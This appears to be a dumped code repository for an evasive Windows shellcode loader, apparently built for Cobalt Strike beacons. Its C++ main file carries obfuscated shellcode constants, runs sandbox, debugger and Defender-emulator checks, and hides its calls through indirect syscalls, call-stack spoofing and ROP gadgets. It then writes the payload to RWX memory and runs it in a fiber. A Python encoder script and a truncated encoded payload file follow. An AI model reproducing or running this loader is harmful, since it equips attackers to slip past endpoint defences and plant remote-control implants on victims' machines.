PLDR_DATA_TABLE_ENTRY_MODIFIED;\r\n\r\n// Define call stack spoofing structs\r\ntypedef struct {\r\n    PVOID Fixup;             // 0\r\n    PVOID OG_retaddr;        // 8\r\n    PVOID rbx;               // 16\r\n    PVOID rdi;               // 24\r\n    PVOID BTIT_ss;           // 32\r\n    PVOID BTIT_retaddr;      // 40\r\n    PVOID Gadget_ss;         // 48\r\n    PVOID RUTS_ss;           // 56\r\n    PVOID RUTS_retaddr;      // 64\r\n    PVOID ssn;               // 72  \r\n    PVOID trampoline;        // 80\r\n    PVOID rsi;               // 88\r\n    PVOID r12;               // 96\r\n    PVOID r13;               // 104\r\n    PVOID r14;               // 112\r\n    PVOID r15;               // 120\r\n} PRM,\r\n* PPRM;\r\n\r\ntypedef union _UNWIND_CODE {\r\n    struct {\r\n        BYTE CodeOffset;\r\n        BYTE UnwindOp : 4;\r\n        BYTE OpInfo : 4;\r\n    };\r\n    USHORT FrameOffset;\r\n} UNWIND_CODE,\r\n* PUNWIND_CODE;\r\n\r\ntypedef struct _UNWIND_INFO {\r\n    BYTE Version : 3;\r\n    BYTE Flags : 5;\r\n    BYTE SizeOfProlog;\r\n    BYTE CountOfCodes;\r\n    BYTE FrameRegister : 4;\r\n    BYTE FrameOffset : 4;\r\n    UNWIND_CODE UnwindCode[1];\r\n} UNWIND_INFO,\r\n* PUNWIND_INFO;\r\n\r\ntypedef struct _EXCEPTION_INFO {\r\n    UINT64 hModule;\r\n    UINT64 pExceptionDirectory;\r\n    DWORD dwRuntimeFunctionCount;\r\n}EXCEPTION_INFO,\r\n* PEXCEPTION_INFO;\r\n\r\ntypedef struct {\r\n    LPCWSTR dllPath;\r\n    ULONG offset;\r\n    ULONG totalStackSize;\r\n    BOOL requiresLoadLibrary;\r\n    BOOL setsFramePointer;\r\n    PVOID returnAddress;\r\n    BOOL pushRbp;\r\n    ULONG countOfCodes;\r\n    BOOL pushRbpIndex;\r\n} StackFrame,\r\n* PStackFrame;\r\n\r\ntypedef struct _FILE_STANDARD_INFORMATION {\r\n    LARGE_INTEGER AllocationSize;       // The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.\r\n    LARGE_INTEGER EndOfFile;            // The end of file location as a byte offset.\r\n    ULONG NumberOfLinks;                // The number of hard links to the file.\r\n    BOOLEAN DeletePending;              // The delete pending status. TRUE indicates that a file deletion has been requested.\r\n    BOOLEAN Directory;                  // The file directory status. TRUE indicates the file object represents a directory.\r\n} FILE_STANDARD_INFORMATION,\r\n* PFILE_STANDARD_INFORMATION;\r\n\r\ntypedef struct _FILE_RENAME_INFORMATION_EX {\r\n    ULONG Flags;\r\n    HANDLE RootDirectory;\r\n    ULONG FileNameLength;\r\n    _Field_size_bytes_(FileNameLength) WCHAR FileName[1];\r\n} FILE_RENAME_INFORMATION_EX,\r\n* PFILE_RENAME_INFORMATION_EX;\r\n\r\ntypedef struct _FILE_DISPOSITION_INFORMATION {\r\n    BOOLEAN DeleteFile;\r\n} FILE_DISPOSITION_INFORMATION,\r\n* PFILE_DISPOSITION_INFORMATION;\r\n\r\ntypedef struct _KSYSTEM_TIME {\r\n    ULONG LowPart;\r\n    LONG High1Time;\r\n    LONG High2Time;\r\n} KSYSTEM_TIME,\r\n* PKSYSTEM_TIME;\r\n\r\ntypedef struct _KUSER_SHARED_DATA {\r\n    ULONG                         TickCountLowDeprecated;\r\n    ULONG                         TickCountMultiplier;\r\n    KSYSTEM_TIME                  InterruptTime;\r\n    KSYSTEM_TIME                  SystemTime;\r\n    KSYSTEM_TIME                  TimeZoneBias;\r\n    USHORT                        ImageNumberLow;\r\n    USHORT                        ImageNumberHigh;\r\n    WCHAR                         NtSystemRoot[260];\r\n    ULONG                         MaxStackTraceDepth;\r\n    ULONG                         CryptoExponent;\r\n    ULONG                         TimeZoneId;\r\n    ULONG                         LargePageMinimum;\r\n    ULONG                         AitSamplingValue;\r\n    ULONG                         AppCompatFlag;\r\n    ULONGLONG                     RNGSeedVersion;\r\n    ULONG                         GlobalValidationRunlevel;\r\n    LONG                          TimeZoneBiasStamp;\r\n    ULONG                         NtBuildNumber;\r\n    NT_PRODUCT_TYPE               NtProductType;\r\n    BOOLEAN                       ProductTypeIsValid;\r\n    BOOLEAN                       Reserved0[1];\r\n    USHORT                        NativeProcessorArchitecture;\r\n    ULONG                         NtMajorVersion;\r\n    ULONG                         NtMinorVersion;\r\n    BOOLEAN                       ProcessorFeatures[PROCESSOR_FEATURE_MAX];\r\n    ULONG                         Reserved1;\r\n    ULONG                         Reserved3;\r\n    ULONG                         TimeSlip;\r\n    ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;\r\n    ULONG                         BootId;\r\n    LARGE_INTEGER                 SystemExpirationDate;\r\n    ULONG                         SuiteMask;\r\n    BOOLEAN                       KdDebuggerEnabled;\r\n    union {\r\n        UCHAR MitigationPolicies;\r\n        struct {\r\n            UCHAR NXSupportPolicy : 2;\r\n            UCHAR SEHValidationPolicy : 2;\r\n            UCHAR CurDirDevicesSkippedForDlls : 2;\r\n            UCHAR Reserved : 2;\r\n        };\r\n    };\r\n    USHORT                        CyclesPerYield;\r\n    ULONG                         ActiveConsoleId;\r\n    ULONG                         DismountCount;\r\n    ULONG                         ComPlusPackage;\r\n    ULONG                         LastSystemRITEventTickCount;\r\n    ULONG                         NumberOfPhysicalPages;\r\n    BOOLEAN                       SafeBootMode;\r\n    union {\r\n        UCHAR VirtualizationFlags;\r\n        struct {\r\n            UCHAR ArchStartedInEl2 : 1;\r\n            UCHAR QcSlIsSupported : 1;\r\n        };\r\n    };\r\n    UCHAR                         Reserved12[2];\r\n    union {\r\n        ULONG SharedDataFlags;\r\n        struct {\r\n            ULONG DbgErrorPortPresent : 1;\r\n            ULONG DbgElevationEnabled : 1;\r\n            ULONG DbgVirtEnabled : 1;\r\n            ULONG DbgInstallerDetectEnabled : 1;\r\n            ULONG DbgLkgEnabled : 1;\r\n            ULONG DbgDynProcessorEnabled : 1;\r\n            ULONG DbgConsoleBrokerEnabled : 1;\r\n            ULONG DbgSecureBootEnabled : 1;\r\n            ULONG DbgMultiSessionSku : 1;\r\n            ULONG DbgMultiUsersInSessionSku : 1;\r\n            ULONG DbgStateSeparationEnabled : 1;\r\n            ULONG SpareBits : 21;\r\n        } DUMMYSTRUCTNAME2;\r\n    } DUMMYUNIONNAME2;\r\n    ULONG                         DataFlagsPad[1];\r\n    ULONGLONG                     TestRetInstruction;\r\n    LONGLONG                      QpcFrequency;\r\n    ULONG                         SystemCall;\r\n    ULONG                         Reserved2;\r\n    ULONGLONG                     FullNumberOfPhysicalPages;\r\n    ULONGLONG                     SystemCallPad[1];\r\n    union {\r\n        KSYSTEM_TIME TickCount;\r\n        ULONG64      TickCountQuad;\r\n        struct {\r\n            ULONG ReservedTickCountOverlay[3];\r\n            ULONG TickCountPad[1];\r\n        } DUMMYSTRUCTNAME;\r\n    } DUMMYUNIONNAME3;\r\n    ULONG                         Cookie;\r\n    ULONG                         CookiePad[1];\r\n    LONGLONG                      ConsoleSessionForegroundProcessId;\r\n    ULONGLONG                     TimeUpdateLock;\r\n    ULONGLONG                     BaselineSystemTimeQpc;\r\n    ULONGLONG                     BaselineInterruptTimeQpc;\r\n    ULONGLONG                     QpcSystemTimeIncrement;\r\n    ULONGLONG                     QpcInterruptTimeIncrement;\r\n    UCHAR                         QpcSystemTimeIncrementShift;\r\n    UCHAR                         QpcInterruptTimeIncrementShift;\r\n    USHORT                        UnparkedProcessorCount;\r\n    ULONG                         EnclaveFeatureMask[4];\r\n    ULONG                         TelemetryCoverageRound;\r\n    USHORT                        UserModeGlobalLogger[16];\r\n    ULONG                         ImageFileExecutionOptions;\r\n    ULONG                         LangGenerationCount;\r\n    ULONGLONG                     Reserved4;\r\n    ULONGLONG                     InterruptTimeBias;\r\n    ULONGLONG                     QpcBias;\r\n    ULONG                         ActiveProcessorCount;\r\n    UCHAR                         ActiveGroupCount;\r\n    UCHAR                         Reserved9;\r\n    union {\r\n        USHORT QpcData;\r\n        struct {\r\n            UCHAR QpcBypassEnabled;\r\n            UCHAR QpcReserved;\r\n        };\r\n    };\r\n    LARGE_INTEGER                 TimeZoneBiasEffectiveStart;\r\n    LARGE_INTEGER                 TimeZoneBiasEffectiveEnd;\r\n    XSTATE_CONFIGURATION          XState;\r\n    KSYSTEM_TIME                  FeatureConfigurationChangeStamp;\r\n    ULONG                         Spare;\r\n    ULONG64                       UserPointerAuthMask;\r\n    XSTATE_CONFIGURATION          XStateArm64;\r\n    ULONG                         Reserved10[210];\r\n} KUSER_SHARED_DATA,\r\n* PKUSER_SHARED_DATA;\r\n\r\n#endif"
  },
  {
    "path": "headers/syscalls.h",
    "content": "#pragma once\r\n\r\n#ifndef SYSCALLS_H\r\n#define SYSCALLS_H\r\n\r\nEXTERN_C DWORD dwSSN;\r\nEXTERN_C PVOID qwJMP;\r\nEXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);\r\nNTAPI_FUNCTION CallMe();\r\n\r\nextern PBYTE hNtdll;\r\nextern NTSTATUS status;\r\n\r\n// Super reliable way to find the base address of a given module\r\nPBYTE FindModuleBase(const CHAR* moduleName);\r\n\r\n// Resolve System Service Number (SSN), Address, and Offset for a System Call Name\r\nSyscallEntry SSNLookup(PCHAR syscall);\r\n\r\n// Collect all instances of a given ROP gadget in a given module\r\nstd::vector<PVOID> CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule);\r\n\r\n// Choose a random gadget\r\nPVOID GoGoGadget(std::vector<PVOID> gadgets);\r\n\r\n// Checks the bytes immediately before each gadget\r\nVOID CheckGadgetPreBytes(const std::vector<PVOID>& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize);\r\n\r\n#endif"
  },
  {
    "path": "main.cpp",
    "content": "/*\r\n* Credits\r\n* \r\n* MDSec - Resolving System Service Numbers using the Exception Directory\r\n* https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/\r\n* \r\n* cpu0x00 - Ghost: Evasive shellcode loader\r\n* https://github.com/cpu0x00/Ghost\r\n* \r\n* susMdT - LoudSunRun: Stack Spoofing with Synthetic frames based on the work of namazso, SilentMoonWalk, and VulcanRaven\r\n* https://github.com/susMdT/LoudSunRun\r\n*\r\n* HulkOperator - x64 Call Stack Spoofing\r\n* https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing\r\n* https://github.com/HulkOperator/CallStackSpoofer\r\n* \r\n* Jan Vojtesek - Raspberry Robin's Roshtyak: A Little Lesson in Trickery\r\n* https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/\r\n* \r\n* dadevel - Detecting Sandboxes Without Syscalls\r\n* https://pentest.party/posts/2024/detecting-sandboxes-without-syscalls/\r\n*/\r\n\r\n#include <includes.h>\r\n\r\nEXTERN_C DWORD dwSSN = 0;\r\nEXTERN_C PVOID qwJMP = 0;\r\nEXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);\r\nNTAPI_FUNCTION CallMe();\r\n\r\nPBYTE hNtdll = FindModuleBase(\"ntdll.dll\");\r\nPBYTE hKernel32 = FindModuleBase(\"KERNEL32.DLL\");\r\nBYTE callR12sig[] = { 0x41, 0xFF, 0xD4 };\r\nstd::vector<PVOID> callR12gadgets = CollectGadgets(callR12sig, sizeof(callR12sig), hNtdll);\r\nPVOID gadget = nullptr;\r\nNTSTATUS status = STATUS_UNSUCCESSFUL;\r\n\r\nCHAR NtCE[] = \"ZwCreateEvent\";\r\nCHAR NtWFSO[] = \"ZwWaitForSingleObject\";\r\nSyscallEntry NtCreateEvent = SSNLookup(NtCE);\r\nSyscallEntry sysNtWaitForSingleObject = SSNLookup(NtWFSO); // NtWaitForSingleObject is predefined in winternl.h\r\n\r\nLPVOID mainFiber = nullptr;\r\nLPVOID shellcodeFiber = nullptr;\r\n\r\n// Function to deobfuscate ASCII-encoded strings\r\nstd::unique_ptr<char[]> unASCIIme(const int* asciiValues, size_t length) {\r\n\tauto decoded = std::make_unique<char[]>(length + 1);\r\n\r\n\tfor (size_t i = 0; i < length; ++i)\r\n\t\tdecoded[i] = static_cast<char>(asciiValues[i]);\r\n\r\n\tdecoded[length] = '\\0'; // Null-terminate the string\r\n\treturn decoded;\r\n}\r\n\r\nVOID RunMe() {\r\n\tconst PKUSER_SHARED_DATA ksd = (PKUSER_SHARED_DATA)KUSER_SHARED_DATA_ADDRESS;\r\n\t\r\n\t// Check if Secure Boot is enabled\r\n\tif (!ksd->DbgSecureBootEnabled) __fastfail(0xc00000022); // Exit process if Secure Boot is disabled\r\n\r\n\t// Check for number of processors\r\n\tif (ksd->ActiveProcessorCount <= 4) __fastfail(0xc00000022); // Exit process if 4 or less active processors\r\n\r\n\tconstexpr uint32_t TICKS_PER_SECOND = 10'000'000;\r\n\tLARGE_INTEGER time1;\r\n\ttime1.LowPart = ksd->InterruptTime.LowPart;\r\n\ttime1.HighPart = ksd->InterruptTime.High2Time;\r\n\t//if ((time1.QuadPart / TICKS_PER_SECOND / 60 / 60) < 1) __fastfail(0xc00000022); // Exit process if uptime is less than 1 hour\r\n\t\r\n\t//if (ksd->BootId < 100) __fastfail(0xc00000022); // Exit process if boot count is less than 100\r\n\r\n\t// Check for KdDebuggerEnabled\r\n\tif (ksd->KdDebuggerEnabled) __fastfail(0xc00000022); // Exit process if true\r\n\r\n\t// Simple check for VDLLs / Defender emulator\r\n\tif (GetProcAddress((HMODULE)hNtdll, \"MpVmp32Entry\")) __fastfail(0xc00000022); // Exit process if VDLL import is successful\r\n\r\n\t// Another check for debugger\r\n\tconst int aZwQIP[] = { 90, 119, 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 80, 114, 111, 99, 101, 115, 115 };\r\n\tstd::unique_ptr<char[]> ZwQIP = unASCIIme(aZwQIP, (sizeof(aZwQIP) / sizeof(aZwQIP[0])));\r\n\tconst PCHAR NtQIP = ZwQIP.get();\r\n\r\n\tSyscallEntry NtQueryInformationProcess = SSNLookup(NtQIP);\r\n\tdwSSN = NtQueryInformationProcess.SSN;\r\n\tqwJMP = NtQueryInformationProcess.Syscall;\r\n\tgadget = GoGoGadget(callR12gadgets);\r\n\r\n\tPVOID debugFlags = nullptr;\r\n\tif (NT_SUCCESS((NTSTATUS)CallR12(\r\n\t\t(PVOID)CallMe,\r\n\t\t4,\r\n\t\tgadget,\r\n\t\tNtCurrentProcess(),\r\n\t\t(PROCESSINFOCLASS)31, // ProcessDebugFlags\r\n\t\t&debugFlags,\r\n\t\tsizeof(debugFlags),\r\n\t\tNULL\r\n\t)) && debugFlags) __fastfail(0xC0000409); // Exit process if debugger is detected\r\n\t\r\n\t// Shellcode deobfuscation and preparation\r\n\t\r\n\tPVOID cHzWuUOLpKshEZso = EncodePointer((PVOID)0x4831c94881e9d4ff);\r\n\tPVOID qzmcczftlrofpMBK = EncodePointer((PVOID)0xffff488d05efffff);\r\n\tPVOID BnFPxxUTdHzXfBou = EncodePointer((PVOID)0xff48bb44f6a40b5f);\r\n\tPVOID XXNMyWIolkZnxquw = EncodePointer((PVOID)0x895d7f4831582748);\r\n\tPVOID MaFIrEQDZFRfWRTY = EncodePointer((PVOID)0x2df8ffffffe2f4b8);\r\n\tPVOID RdUZgSEaEksHKBzw = EncodePointer((PVOID)0xbe27efaf619d7f44);\r\n\tPVOID BqaqZEeAEPNHxCHA = EncodePointer((PVOID)0xf6e55a1ed90f2e12);\r\n\tPVOID pEfFdhEqFdQpoqch = EncodePointer((PVOID)0xbe95d93ac1d62d24);\r\n\tPVOID WOLbfAoYkcEkuDYg = EncodePointer((PVOID)0xbe2f5947c1d62d64);\r\n\tPVOID uwiZKXhkheFneKTM = EncodePointer((PVOID)0xbe2f790fc152c80e);\r\n\tPVOID FMlGRbqbLHPhGOeo = EncodePointer((PVOID)0xbce93a96c16cbfe8);\r\n\tPVOID yXPdbUEcVExPHxIj = EncodePointer((PVOID)0xcac5775da57d3e85);\r\n\tPVOID MZGgjmoAILVGCTyd = EncodePointer((PVOID)0x3fa94a5e48bf9216);\r\n\tPVOID GurEATzzcVZVIzYS = EncodePointer((PVOID)0xb7f543d4db7df406);\r\n\tPVOID hNplZltYVPpESpst = EncodePointer((PVOID)0xcaec0a8f02ddf744);\r\n\tPVOID xCgWVknCyvRsVUHZ = EncodePointer((PVOID)0xf6a443da4929180c);\r\n\tPVOID umughcydaJUtAhrt = EncodePointer((PVOID)0xf7745bd4c1453bcf);\r\n\tPVOID RqCqvWaIneDObANK = EncodePointer((PVOID)0xb684425e59be290c);\r\n\tPVOID axOWFjDeHhmDuStA = EncodePointer((PVOID)0x096d4ad4bdd53745);\r\n\tPVOID PzyVUWkmkIQWwsAh = EncodePointer((PVOID)0x20e93a96c16cbfe8);\r\n\tPVOID UKaEuxbaMHcFVHRE = EncodePointer((PVOID)0xb765c252c85cbe7c);\r\n\tPVOID GPBJMzmxizdGDxbs = EncodePointer((PVOID)0x16d1fa138a115b4c);\r\n\tPVOID aEUbBqlVLqLgCpmm = EncodePointer((PVOID)0xb39dda2a51053bcf);\r\n\tPVOID HKzolWqSFHEaxocQ = EncodePointer((PVOID)0xb680425e593b3ecf);\r\n\tPVOID rGrpgUSTDCGnRSxX = EncodePointer((PVOID)0xfaec4fd4c9413645);\r\n\tPVOID UkiKuEWPihQsBZed = EncodePointer((PVOID)0x26e5805b01157e94);\r\n\tPVOID UtRdjVdGKiLgoqiz = EncodePointer((PVOID)0xb7fc4a07d7042505);\r\n\tPVOID jmRaVonpGRiCdgiL = EncodePointer((PVOID)0xaee5521ed315fca8);\r\n\tPVOID pTGvgohiOFOLvctP = EncodePointer((PVOID)0xd6e559a069053e1d);\r\n\tPVOID jjMvRmnTSOFJsHUQ = EncodePointer((PVOID)0xacec804d600a80bb);\r\n\tPVOID ecThXoPqvgeoPdTY = EncodePointer((PVOID)0x09f943e5885d7f44);\r\n\tPVOID KqVeBhXZWhqorIlQ = EncodePointer((PVOID)0xf6a40b5fc1d0f245);\r\n\tPVOID rUrHyjHgczZsKdEw = EncodePointer((PVOID)0xf7a40b1e336cf42b);\r\n\tPVOID BHscujBmZqkyPcao = EncodePointer((PVOID)0x715bdee479e8dd12);\r\n\tPVOID nbtyRzIjuCLOzHPX = EncodePointer((PVOID)0xb71eadca34c08091);\r\n\tPVOID oaAwYlpVCipgbUeo = EncodePointer((PVOID)0xbe27cf77b55b034e);\r\n\tPVOID RfLfmiVPuCbBjmaj = EncodePointer((PVOID)0x765feb2a8ce63857);\r\n\tPVOID eFSJSYqBtDEtyjXg = EncodePointer((PVOID)0x84cb615fd01cf69e);\r\n\tPVOID beyiUDTcLMuJgbDM = EncodePointer((PVOID)0x09716e27f9311036);\r\n\tPVOID yaLBwyEBzokIYAHF = EncodePointer((PVOID)0x93d6253af1385f66);\r\n\tPVOID qowPmWxYQjBdZNYP = EncodePointer((PVOID)0x9ed07f2ffa67506b);\r\n\tPVOID GNvPOEZbSgXPdGal = EncodePointer((PVOID)0x9fc5326fbd6b4f7d);\r\n\tPVOID bzxbcOVbSveYzfeO = EncodePointer((PVOID)0xd8d17871e82f1c2c);\r\n\tPVOID LcYaLRXtmsZogKlT = EncodePointer((PVOID)0x9fd26e71e62f186b);\r\n\tPVOID gIKApmGFAWwPmQgq = EncodePointer((PVOID)0xc28b622bec300c6b);\r\n\tPVOID XQGRystfEcTjlPuc = EncodePointer((PVOID)0x84cd6834a42f1028);\r\n\tPVOID mQGOcpeQBbPvvUfc = EncodePointer((PVOID)0x9a8b5936ea365a76);\r\n\tPVOID EEezIaJMrCWOAPsU = EncodePointer((PVOID)0xc6f66433e5731625);\r\n\tPVOID QRiWTvDaBIzcspUq = EncodePointer((PVOID)0xd8c97b6bab5d7f90);\r\n\r\n\tstd::vector<PVOID> encodedSegments = {\r\n\t\tcHzWuUOLpKshEZso, qzmcczftlrofpMBK, BnFPxxUTdHzXfBou, XXNMyWIolkZnxquw, MaFIrEQDZFRfWRTY, RdUZgSEaEksHKBzw, BqaqZEeAEPNHxCHA, pEfFdhEqFdQpoqch, WOLbfAoYkcEkuDYg, uwiZKXhkheFneKTM, FMlGRbqbLHPhGOeo, yXPdbUEcVExPHxIj, MZGgjmoAILVGCTyd, GurEATzzcVZVIzYS, hNplZltYVPpESpst, xCgWVknCyvRsVUHZ, umughcydaJUtAhrt, RqCqvWaIneDObANK, axOWFjDeHhmDuStA, PzyVUWkmkIQWwsAh, UKaEuxbaMHcFVHRE, GPBJMzmxizdGDxbs, aEUbBqlVLqLgCpmm, HKzolWqSFHEaxocQ, rGrpgUSTDCGnRSxX, UkiKuEWPihQsBZed, UtRdjVdGKiLgoqiz, jmRaVonpGRiCdgiL, pTGvgohiOFOLvctP, jjMvRmnTSOFJsHUQ, ecThXoPqvgeoPdTY, KqVeBhXZWhqorIlQ, rUrHyjHgczZsKdEw, BHscujBmZqkyPcao, nbtyRzIjuCLOzHPX, oaAwYlpVCipgbUeo, RfLfmiVPuCbBjmaj, eFSJSYqBtDEtyjXg, beyiUDTcLMuJgbDM, yaLBwyEBzokIYAHF, qowPmWxYQjBdZNYP, GNvPOEZbSgXPdGal, bzxbcOVbSveYzfeO, LcYaLRXtmsZogKlT, gIKApmGFAWwPmQgq, XQGRystfEcTjlPuc, mQGOcpeQBbPvvUfc, EEezIaJMrCWOAPsU, QRiWTvDaBIzcspUq,\r\n\t};\r\n\r\n\t// Predefine expected shellcode size and pre-allocate space\r\n\talignas(8) std::vector<UCHAR> shellcode;\r\n\t//shellcode.reserve(968);\r\n\tshellcode.reserve(392);\r\n\r\n\t// Decode and reconstruct each segment\r\n\tfor (auto encodedSegment : encodedSegments) {\r\n\t\tUINT_PTR decodedSegment = reinterpret_cast<UINT_PTR>(DecodePointer(encodedSegment));\r\n\r\n\t\t// Extract each byte and place it in the shellcode buffer\r\n\t\tshellcode.push_back((decodedSegment >> 56) & 0xFF);\r\n\t\tshellcode.push_back((decodedSegment >> 48) & 0xFF);\r\n\t\tshellcode.push_back((decodedSegment >> 40) & 0xFF);\r\n\t\tshellcode.push_back((decodedSegment >> 32) & 0xFF);\r\n\t\tshellcode.push_back((decodedSegment >> 24) & 0xFF);\r\n\t\tshellcode.push_back((decodedSegment >> 16) & 0xFF);\r\n\t\tshellcode.push_back((decodedSegment >> 8) & 0xFF);\r\n\t\tshellcode.push_back(decodedSegment & 0xFF);\r\n\t}\r\n\r\n\tconst int aZwAVM[] = { 90, 119, 65, 108, 108, 111, 99, 97, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwAllocateVirtualMemory\r\n\tstd::unique_ptr<char[]> ZwAVM = unASCIIme(aZwAVM, (sizeof(aZwAVM) / sizeof(aZwAVM[0])));\r\n\tconst PCHAR NtAVM = ZwAVM.get();\r\n\r\n\tSyscallEntry NtAllocateVirtualMemory = SSNLookup(NtAVM);\r\n\tdwSSN = NtAllocateVirtualMemory.SSN;\r\n\tqwJMP = NtAllocateVirtualMemory.Syscall;\r\n\tgadget = GoGoGadget(callR12gadgets);\r\n\r\n\tPVOID baseAddress = nullptr;\r\n\tSIZE_T regionSize = shellcode.size();\r\n\tstatus = (NTSTATUS)CallR12(\r\n\t\t(PVOID)CallMe,\r\n\t\t6,\r\n\t\tgadget,\r\n\t\tNtCurrentProcess(),\r\n\t\t&baseAddress,\r\n\t\t(ULONGLONG)0,\r\n\t\t&regionSize,\r\n\t\t(ULONGLONG)(MEM_COMMIT | MEM_RESERVE),\r\n\t\t(ULONGLONG)(PAGE_EXECUTE_READWRITE)\r\n\t);\r\n\r\n\tconst int aZwWVM[] = { 90, 119, 87, 114, 105, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwWriteVirtualMemory\r\n\tstd::unique_ptr<char[]> ZwWVM = unASCIIme(aZwWVM, (sizeof(aZwWVM) / sizeof(aZwWVM[0])));\r\n\tconst PCHAR NtWVM = ZwWVM.get();\r\n\r\n\tSyscallEntry NtWriteVirtualMemory = SSNLookup(NtWVM);\r\n\tdwSSN = NtWriteVirtualMemory.SSN;\r\n\tqwJMP = NtWriteVirtualMemory.Syscall;\r\n\tgadget = GoGoGadget(callR12gadgets);\r\n\r\n\tSIZE_T bytesWritten = 0;\r\n\tstatus = (NTSTATUS)CallR12(\r\n\t\t(PVOID)CallMe,\r\n\t\t5,\r\n\t\tgadget,\r\n\t\tNtCurrentProcess(),\r\n\t\tbaseAddress,\r\n\t\tshellcode.data(),\r\n\t\t(ULONGLONG)shellcode.size(),\r\n\t\t&bytesWritten\r\n\t);\r\n\r\n\t// Create a callable \"function\" from the allocated space\r\n\tvoid (*shellcodeFunc)() = (void(*)())baseAddress;\r\n\t\r\n\t// Hook Sleep and SleepEx for CS beacons\r\n\tReSleep();\r\n\r\n\tgadget = GoGoGadget(callR12gadgets);\r\n\tmainFiber = (LPVOID)CallR12((PVOID)ConvertThreadToFiber, 1, gadget, nullptr);\r\n\r\n\tgadget = GoGoGadget(callR12gadgets);\r\n\tshellcodeFiber = (LPVOID)CallR12((PVOID)CreateFiber, 3, gadget, NULL, (LPFIBER_START_ROUTINE)shellcodeFunc, NULL);\r\n\r\n\twhile (true) {\r\n\t\tgadget = GoGoGadget(callR12gadgets);\r\n\t\tCallR12((PVOID)SwitchToFiber, 1, gadget, shellcodeFiber);\r\n\t}\r\n}\r\n\r\nINT WINAPI CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) {\r\n\tif (FiveHourEnergy()) __fastfail(0x31337);\r\n\tRunMe();\r\n\treturn 0;\r\n}\r\n\r\n/*\r\nint main() {\r\n\tBYTE sig[] = { 0xff, 0x27 };\r\n\tstd::vector<PVOID> gadgets = CollectGadgets(sig, 2, hNtdll);\r\n\tCheckGadgetPreBytes(gadgets, 2, 8);\r\n}\r\n*/\r\n"
  },
  {
    "path": "scripts/encoder.py",
    "content": "import re\r\nimport random\r\nimport string\r\nimport argparse\r\n\r\ndef generate_random_name():\r\n    return ''.join(random.choices(string.ascii_letters, k=16))\r\n\r\ndef parse_shellcode(file_path):\r\n    with open(file_path, \"r\") as f:\r\n        data = f.read()\r\n    \r\n    # Extract hex bytes from shellcode definition\r\n    matches = re.findall(r'\\\\x([0-9a-fA-F]{2})', data)\r\n    shellcode = ''.join(matches)\r\n    \r\n    return shellcode\r\n\r\ndef format_shellcode(shellcode):\r\n    segments = [shellcode[i:i+16] for i in range(0, len(shellcode), 16)]\r\n    formatted_lines = []\r\n    var_names = []\r\n    total_size = 0\r\n    \r\n    for segment in segments:\r\n        while len(segment) < 16:\r\n            segment += \"90\"  # Pad with NOPs if not a full 8-byte segment\r\n        total_size += len(segment) // 2  # Convert hex length to byte count\r\n        var_name = generate_random_name()\r\n        var_names.append(var_name)\r\n        formatted_lines.append(f\"PVOID {var_name} = EncodePointer((PVOID)0x{segment});\")\r\n    \r\n    return formatted_lines, var_names, total_size\r\n\r\ndef main():\r\n    parser = argparse.ArgumentParser(description=\"Parse and format shellcode from an input file.\")\r\n    parser.add_argument(\"input_file\", help=\"Path to the input shellcode file\")\r\n    args = parser.parse_args()\r\n    \r\n    shellcode = parse_shellcode(args.input_file)\r\n    formatted_shellcode, var_names, total_size = format_shellcode(shellcode)\r\n    \r\n    print(f\"Total shellcode size (including padding): {total_size} bytes\")\r\n    \r\n    for line in formatted_shellcode:\r\n        print(line)\r\n    \r\n    print(\"\\nstd::vector<PVOID> encodedSegments = {\")\r\n    print(\"    \" + \", \".join(var_names) + \",\")\r\n    print(\"};\")\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n"
  },
  {
    "path": "scripts/shellcode.txt",
    "content": "buf =  b\"\"\r\nbuf += b\"\\x48\\x31\\xc9\\x48\\x81\\xe9\\x8c\\xff\\xff\\xff\\x48\\x8d\"\r\nbuf += b\"\\x05\\xef\\xff\\xff\\xff\\x48\\xbb\\xae\\xe2\\x1e\\xc0\\xb3\"\r\nbuf += b\"\\x25\\x75\\x6d\\x48\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff\"\r\nbuf += b\"\\xff\\xe2\\xf4\\x52\\xaa\\x9d\\x24\\x43\\xcd\\xbd\\x6d\\xae\"\r\nbuf += b\"\\xe2\\x5f\\x91\\xf2\\x75\\x27\\x3c\\xf8\\xaa\\x2f\\x12\\xd6\"\r\nbuf += b\"\\x6d\\xfe\\x3f\\xce\\xaa\\x95\\x92\\xab\\x6d\\xfe\\x3f\\x8e\"\r\nbuf += b\"\\xaa\\x95\\xb2\\xe3\\x6d\\x7a\\xda\\xe4\\xa8\\x53\\xf1\\x7a\"\r\nbuf += b\"\\x6d\\x44\\xad\\x02\\xde\\x7f\\xbc\\xb1\\x09\\x55\\x2c\\x6f\"\r\nbuf += b\"\\x2b\\x13\\x81\\xb2\\xe4\\x97\\x80\\xfc\\xa3\\x4f\\x88\\x38\"\r\nbuf += b\"\\x77\\x55\\xe6\\xec\\xde\\x56\\xc1\\x63\\x43\\xf4\\x15\\xb6\"\r\nbuf += b\"\\xe9\\x1c\\xb5\\xc1\\xae\\xf5\\xe5\\xae\\xe2\\x1e\\x88\\x36\"\r\nbuf += b\"\\xe5\\x01\\x0a\\xe6\\xe3\\xce\\x90\\x38\\x6d\\x6d\\x29\\x25\"\r\nbuf += b\"\\xa2\\x3e\\x89\\xb2\\xf5\\x96\\x3b\\xe6\\x1d\\xd7\\x81\\x38\"\r\nbuf += 